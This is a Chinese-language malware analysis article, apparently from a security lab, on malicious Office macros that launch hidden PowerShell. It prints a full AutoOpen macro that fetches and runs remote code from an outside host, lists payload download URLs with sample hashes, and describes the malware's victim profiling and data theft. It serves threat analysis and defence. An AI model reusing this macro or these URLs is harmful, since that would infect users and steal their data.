Powershell恶意代码的N种姿势

Powershell (4.4万) 2016-12-06 10:21:58

从样本中抽取出的宏主要是根据系统版本下载相应的文件执行

Sub AutoOpen()
    x1 = "Download"
    h = "Str"
    o = "power" & "shell" & ".exe"
    Const HIDDEN_WINDOW = 0
    strComputer = "."
    abcdef = h & "ing"
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

    Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    objConfig.ShowWindow = HIDDEN_WINDOW
    Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
    objProcess.Create o & " -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c if ([IntPtr]::size -eq 4) {(new-object Net.WebClient)." & x1 & abcdef & "('http://rabbitons.pw/cache') | iex } else {(new-object Net.WebClient)." & x1 & abcdef & "('http://rabbitons.pw/css') | iex}", Null, objConfig, intProcessID

其中的对应32位系统的cache文件的内容如下:

Powershell恶意代码的N种姿势_https://www.tiejiang.org_Powershell_第1张

我们对Shellcode进行简单分析:

1.在内存中解密,生成一个PE文件,在内存中展开跳到入口点处执行,将PE文件的.BSS区段进行解码,解码算法如下:

Powershell恶意代码的N种姿势_https://www.tiejiang.org_Powershell_第2张

Powershell恶意代码的N种姿势_https://www.tiejiang.org_Powershell_第3张

解密后的结果为:

Powershell恶意代码的N种姿势_https://www.tiejiang.org_Powershell_第4张

2.判断是不是64位系统

Powershell恶意代码的N种姿势_https://www.tiejiang.org_Powershell_第5张

判断虚拟机

Powershell恶意代码的N种姿势_https://www.tiejiang.org_Powershell_第6张

Powershell恶意代码的N种姿势_https://www.tiejiang.org_Powershell_第7张

3.用FindFirstUrlCacheEntry和FindNextUrlCacheEntry遍历IE临时文件目录 ,用于判断用户是否是攻击者的目标用户

Powershell恶意代码的N种姿势_https://www.tiejiang.org_Powershell_第8张

Powershell恶意代码的N种姿势_https://www.tiejiang.org_Powershell_第9张

4.计算用户和电脑信息的HASH

Powershell恶意代码的N种姿势_https://www.tiejiang.org_Powershell_第10张

随后B03938处创建线程进行下面的动作

判断ipconfig -all命令中是否有.edu、school、hospital、colledge、health、nurse等字符串

Powershell恶意代码的N种姿势_https://www.tiejiang.org_Powershell_第11张

调用cmd /C ""ipconfig -all > C:\DOCUME~1\yyyyy\LOCALS~1\Temp\xxxx.TMP(xxx代表随机数)生成文件,检测.edu、school、hospital、colledge、health、nurse等字符串

Powershell恶意代码的N种姿势_https://www.tiejiang.org_Powershell_第12张

Powershell恶意代码的N种姿势_https://www.tiejiang.org_Powershell_第13张

5.遍历系统中的进程,检测有否指定hash的进程正在运行

Powershell恶意代码的N种姿势_https://www.tiejiang.org_Powershell_第14张

从IE缓存中查找用户是不是访问过这些网址:

通过WININET.FindFirstUrlCacheEntryW , WININET.FindNextUrlCacheEntryW WININET.FindCloseUrlCache

Powershell恶意代码的N种姿势_https://www.tiejiang.org_Powershell_第15张

得到net view命令返回值中是否有pos、store、shop、sale等字符串

Powershell恶意代码的N种姿势_https://www.tiejiang.org_Powershell_第16张

发送用户信息,并下载相对应的恶意程序:

Powershell恶意代码的N种姿势_https://www.tiejiang.org_Powershell_第17张

其中,用这种手法的恶意样本还有如下:

样本HASH 系统版本 下载地址
f0483b9cfb8deb7ff97962b30fc779ad 32位 https://github.com/flowsdem/found/raw/master/rost
64位 https://github.com/flowsdem/found/raw/master/virst
fba6b329876533f28d317e60fe53c8d3 32位 http://rabbitons.pw/cache
64位 http://rabbitons.pw/css
62967bf585eef49f065bac233b506b36 32位 https://github.com/minifl147/flue/raw/master/memo
64位 https://github.com/minifl147/flue/raw/master/adv

信息搜集

样本中的宏代码下载执行信息收集类的Powershell脚本,很可能是某些针对性攻击的前导。

样本MD5:f7c3c7df2e7761eceff991bf457ed5b9

提取出来的宏代码为:

Powershell恶意代码的N种姿势_https://www.tiejiang.org_Powershell_第18张

下载一个名为Get-Info-2.ps1的脚本,脚本功能是将本机的IP地址、domainname、username、usbid等发送到远端服务器中。

Powershell恶意代码的N种姿势_https://www.tiejiang.org_Powershell_第19张

0x02 总结


天眼实验室再次提醒用户,此类恶意软件主要依赖通过微软的Office文档传播,用户应该确保宏不默认启用,提防任何来自不受信任来源的文件,当打开文件系统提示要使用宏时务必慎重。同时要尽量选用可靠的安全软件进行防范,如无必要不要关闭安全软件,当发现系统出现异常情况,应及时查杀木马,尽可能避免各类恶意代码的骚扰。

0x03 参考资料


THE END

Leave a Reply